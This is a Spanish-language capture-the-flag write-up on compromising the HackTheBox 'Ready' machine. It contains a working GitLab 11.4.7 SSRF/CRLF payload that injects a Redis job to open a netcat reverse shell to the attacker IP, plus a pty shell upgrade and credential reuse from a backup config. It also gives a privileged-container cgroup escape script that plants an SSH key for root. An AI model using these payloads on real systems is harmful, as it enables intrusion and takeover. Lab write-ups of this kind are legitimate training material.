Ready es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad Media.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Ready 10.10.10.220 a /etc/hosts como ready.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
# Nmap 7.70 scan initiated Sun Dec 13 11:23:29 2020 as: nmap -sC -sV -p- -oA enumeration/nmap 10.10.10.220 Nmap scan report for 10.10.10.220 Host is up (0.086s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0) 5080/tcp open http nginx | http-robots.txt: 53 disallowed entries (15 shown) | / /autocomplete/users /search /api /admin /profile | /dashboard /projects/new /groups/new /groups/*/edit /users /help |_/s/ /snippets/new /snippets/*/edit |_http-server-header: nginx | http-title: Sign in \xC2\xB7 GitLab |_Requested resource was http://10.10.10.220:5080/users/sign_in |_http-trane-info: Problem with XML parsing of /evox/about Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Dec 13 11:24:26 2020 -- 1 IP address (1 host up) scanned in 57.61 seconds |
Revisamos los puertos descubiertos y lo único que puede interesarnos ahora es el puerot 5080 que al ser un nginx será un portal web.
Enumeracion
Accedemos a través del navegador al puerto 5080 y obtenemos un portal con el software Gitlab:
Como nos disponemos de una cuenta, nos creamos la misma y accedemos al portal:
Y en primer lugar, vamos a ver la ayuda del portal, que entre otras cosas nos indicará la versión del mismo y nos dará pistas sobre que hacer a continuación:
Descubrimos que se trata de la versión 11.4.7 por lo que nos vamos a google a buscar si existe alguna vulnerabilidad y encontramos dos, SSRF y CRLF, y una POC bastante interesante sobre como llevar a cabo el ataque:
https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/
Además de esto, como se trata de una versión Community vamos al repositorio de código de gitlab y encontramos en github el código que identifica las correcciones realizadas para las vulnerabilidades de SSRF y CRLF.
Así que vamos a tratar de realizar el ataque. Para ello se trata en aprovechar la vulnerabilidad para poder acceder ya sea desde la importación por url o desde dentro de un proyecto añadiendo un repositorio nuevo, conectar con el servicio redis interno que escucha sólo en localhost con el objetivo de lograr un RCE en el mismo y obtener información sensible del sistema o, en su defecto, realizar la ejecución de ciertos comandos que nos ayuden a obtener acceso al servidor.
Vamos a hacer una primera prueba con la dirección de localhost, 127.0.0.1:
Pero al realizarlo de esta forma nos da un error, por lo que utilizaremos la técnica de bypass mediante ipv6 para intentar saltar la restricción:
Y en este caso no nos da ningún error, por lo que será la técnica utilizada para realizar la ejecución de nuestro payload, quedando entonces nuestro código completo de la siguiente forma:
1 2 3 4 5 6 7 |
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/ multi sadd resque:gitlab:queues system_hook_push lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|cat /flag | nc 10.10.14.13 4444 -e /bin/bash \').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}" exec exec /ssrf.git |
Ahora ya tenemos el código completo, pero nos falta un paso más y es codificar el mismo para evitar que se bloqueado por el uso de ciertos caracteres no permitidos, así que codificamos nuestro payload y el código completo quedaría tal que así:
1 |
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%2010%2E10%2E14%2E13%204444%20%2de%20%2fbin%2fbash%20%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git |
Ahora que ya lo tenemos generado, abrimos una escucha con netcat en el puerto que indicamos en el payload y lanzamos la creación de un nuevo proyecto, importado desde url, y cuya url será el payload que acabamos de generar.
A los pocos segundos de crear el proyecto con nuestro payload veremos en nuestra escucha como hemos obtenido acceso con el usuario git:
1 2 3 4 5 6 7 |
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.14.13] from (UNKNOWN) [10.10.10.220] 49770 id uid=998(git) gid=998(git) groups=998(git) whoami git |
Como tenemos una shell bastante incómoda utilizaremos python para obtener una más adecuada y con la que nos será más fácil continuar trabajando:
1 2 |
python3 -c 'import pty;pty.spawn("/bin/bash")' git@gitlab:~/gitlab-rails/working$ |
Y ahora tocat enumerar, así que buscamos por el sistema y encontramos unos ficheros interesantes en la ruta /opt/backup:
1 2 3 4 5 6 7 8 9 10 |
git@gitlab:/opt/backup$ pwd pwd /opt/backup git@gitlab:/opt/backup$ ls -l ls -l total 100 -rw-r--r-- 1 root root 872 Dec 7 09:25 docker-compose.yml -rw-r--r-- 1 root root 15092 Dec 1 16:23 gitlab-secrets.json -rw-r--r-- 1 root root 79639 Dec 1 19:20 gitlab.rb git@gitlab:/opt/backup$ |
Y encontramos una password en el fichero gitlab.rb
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
git@gitlab:/opt/backup$ cat gitlab.rb|grep -i password cat gitlab.rb|grep -i password #### Email account password # gitlab_rails['incoming_email_password'] = "[REDACTED]" # password: '_the_password_of_the_bind_user' # password: '_the_password_of_the_bind_user' # '/users/password', #### Change the initial default admin password and shared runner registration tokens. # gitlab_rails['initial_root_password'] = "password" # gitlab_rails['db_password'] = nil # gitlab_rails['redis_password'] = nil gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h" # gitlab_shell['http_settings'] = { user: 'username', password: 'password', ca_file: '/etc/ssl/cert.pem', ca_path: '/etc/pki/tls/certs', self_signed_cert: false} ##! `SQL_USER_PASSWORD_HASH` can be generated using the command `gitlab-ctl pg-password-md5 gitlab` # postgresql['sql_user_password'] = 'SQL_USER_PASSWORD_HASH' # postgresql['sql_replication_password'] = "md5 hash of postgresql password" # You can generate with `gitlab-ctl pg-password-md5 <dbuser>` # redis['password'] = 'redis-password-goes-here' ####! **Master password should have the same value defined in ####! redis['password'] to enable the instance to transition to/from # redis['master_password'] = 'redis-password-goes-here' # geo_secondary['db_password'] = nil # geo_postgresql['pgbouncer_user_password'] = nil # password: PASSWORD ###! generate this with `echo -n '$password + $username' | md5sum` # pgbouncer['auth_query'] = 'SELECT username, password FROM public.pg_shadow_lookup($1)' # password: MD5_PASSWORD_HASH # postgresql['pgbouncer_user_password'] = nil git@gitlab:/opt/backup$ |
Probamos a escalar privilegios, y conseguimos con la misma escalar a root dentro del contenedor:
1 2 3 4 5 |
git@gitlab:/opt/backup$ su su Password: wW59U!ZKMbG9+*#h root@gitlab:/opt/backup# |
Obteniendo la flag de user
Con root dentro del contenedor, nos vamos a la home del usuario dude y obtenemos la flag de user:
1 2 3 4 5 6 7 8 |
root@gitlab:/home/dude# ls -l ls -l total 4 -r--r----- 1 dude git 33 Dec 2 10:46 user.txt root@gitlab:/home/dude# cat user.txt cat user.txt exxxxxxxxxxxxxxxxxxxxxxxxxxxxxx2 root@gitlab:/home/dude# |
Y tenemos ya la mitad de la máquina realizado.
Escalado de privilegios
Después de dar unas vueltas y enumerar varias veces el sistema, no encontramos nada que pueda ayudarnos por el momento a conseguir escapar del contenedor, aśi que buscamos alguna técnica en google y encontramos un post donde explica como escapar de Contenedores Privilegiados.
Así que siguiendo con la explicación vamos a crear el script para realizar la explotación y escapar del contenedor.
Necesitaremos previamente crear una clave ssh que será la que importaremos mediante el script para obtener acceso posteriormente a la máquina como root, así que generamos la nuestra y la incluimos en el script quedando así:
1 2 3 4 5 6 7 8 9 10 11 |
#!/bin/bash mkdir /tmp/byte && mount -t cgroup -o rdma cgroup /tmp/byte && mkdir /tmp/byte/x echo 1 > /tmp/byte/x/notify_on_release host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` echo "$host_path/cmd" > /tmp/byte/release_agent echo '#!/bin/sh' > /cmd echo "echo 'id_rsa.pub' > /root/.ssh/authorized_keys" >> /cmd chmod a+x /cmd sh -c "echo \$\$ > /tmp/byte/x/cgroup.procs" |
Subiremos entonces el script a la máquina mediante un server en python levantado en local:
1 |
$ python3 -m http.server 8000 |
Descargamos y damos permisos de ejecución:
1 2 |
wget http://10.10.14.13:8000/descape.sh chmod +x descape.sh |
Y ejecutamos el mismo:
1 2 3 |
root@gitlab:/tmp# ./descape.sh ./descape.sh root@gitlab:/tmp# |
Y ahora sólo nos queda acceder por ssh con nuestra clave de root:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 |
$ ssh -i /tmp/root.pem root@10.10.10.220 Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon 14 Dec 2020 09:30:01 PM UTC System load: 0.13 Usage of /: 66.5% of 17.59GB Memory usage: 74% Swap usage: 0% Processes: 336 Users logged in: 0 IPv4 address for br-bcb73b090b3f: 172.19.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for ens160: 10.10.10.220 IPv6 address for ens160: dead:beef::250:56ff:feb9:a314 => There are 6 zombie processes. * Introducing self-healing high availability clusters in MicroK8s. Simple, hardened, Kubernetes for production, from RaspberryPi to DC. https://microk8s.io/high-availability 170 updates can be installed immediately. 73 of these updates are security updates. To see these additional updates run: apt list --upgradable The list of available updates is more than a week old. To check for new updates run: sudo apt update Last login: Sun Dec 13 15:04:10 2020 from 10.10.14.5 root@ready:~# id uid=0(root) gid=0(root) groups=0(root) root@ready:~# whoami root |
Obteniendo la flag de root
Ahora que ya somos root en la máquina, nos vamos a la home del usuario y obtenemos nuestra flag:
1 2 3 4 5 6 7 8 9 |
root@ready:~# ls -l total 16 drwxr-xr-x 3 root root 4096 Dec 1 12:41 docker-gitlab drwxr-xr-x 10 root root 4096 Jul 9 15:24 ready-channel -r-------- 1 root root 33 Jul 8 11:18 root.txt drwxr-xr-x 3 root root 4096 May 18 2020 snap root@ready:~# cat root.txt bxxxxxxxxxxxxxxxxxxxxxxxxxxxxx3 root@ready:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace